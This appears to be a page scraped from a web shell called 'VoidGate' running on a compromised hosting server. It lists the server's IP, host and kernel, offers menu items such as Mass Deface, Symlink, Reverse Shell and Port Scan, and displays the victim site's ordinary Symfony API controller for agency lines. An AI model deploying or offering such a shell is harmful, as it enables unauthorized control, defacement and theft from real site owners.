ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: AgencyLineController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Entity\Line; use AppBundle\Entity\Agency; class AgencyLineController extends FOSRestController { /** * Get the list of all lines served by an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * @Rest\Get("/agencies/{agencyId}/lines") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Lines served by an agency", * resource=true, * description="Get the list of all lines served by an agency.", * ) */ public function listAction(Agency $agency ) { return $agency->getLines(); } /** * Get a line which is served by an agency ('agencyId' is the Id of the agency) * @param integer $agencyId The id of the agnecy * @param integer $lineId The id of the line * @Rest\Get("/agencies/{agencyId}/lines/{lineId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "LINE_DETAILS"} * ) * @Doc\ApiDoc( * section="Lines served by an agency", * resource=true, * description=" Get a line which is served by an agency.", * ) */ public function showAction(Agency $agency, Line $line) { if( $line->getCompany() != $agency->getCompany()){ return new JsonResponse(['error' => 'This line and this agency are not from the same company '], Response::HTTP_METHOD_NOT_ALLOWED); } if( !$agency->getLines()->contains($line) ){ return new JsonResponse(['error' => 'This line is not served by this agency '], Response::HTTP_METHOD_NOT_ALLOWED); } return $line; } /** * Assign a line to a given agency.(the line and the agency must already exist) * @param integer $agencyId The id of the agnecy * @param integer $lineId The id of the line to be assigned to the agency * @Rest\Post("/agencies/{agencyId}/lines/{lineId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "LINE_DETAILS"} * ) * @Doc\ApiDoc( * section="Lines served by an agency", * resource=true, * description=" Assign a line to a given agency." * ) */ public function addAction(Agency $agency, Line $line) { //TODO if ($agency->getCompany() != $line->getCompany()) { return new JsonResponse(['error' => 'This line and this agency are not from the same company '], Response::HTTP_FORBIDDEN); } if($agency->getLines()->contains($line)){ return new JsonResponse('This line is already served by this agency', Response::HTTP_CONFLICT); } $agency->addLine($line); $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $line; } /** * @Rest\Put("/agencies/{agencyId}/lines/{lineId}") */ public function updateAction() { //TODO return new JsonResponse(['error' => 'update forbidden '], Response::HTTP_FORBIDDEN); } /** * Delete the assignation of a line to an agency. * * @param integer $agencyId The id of the agnecy * @param integer $lineId The id of the line to be removed * @Rest\Delete("/agencies/{agencyId}/lines/{lineId}") * @Rest\View( * statusCode = Response::HTTP_NO_CONTENT * ) * @Doc\ApiDoc( * section="Lines served by an agency", * resource=true, * description="Delete the assignation of a line to an agency." * ) */ public function deleteAction(Agency $agency, Line $line) { //TODO if ($agency->getCompany() != $line->getCompany()) { return new JsonResponse(['error' => 'This line and this agency are not from the same company '], Response::HTTP_FORBIDDEN); } if(! $agency->getLines()->contains($line)){ return new JsonResponse(['error' => 'This line is not served by this agency '], Response::HTTP_METHOD_NOT_ALLOWED); } $agency->removeLine($line); $em = $this ->getDoctrine() ->getManager(); $em->flush(); return new JsonResponse(''); } }
Coded With 💗 by
0x6ick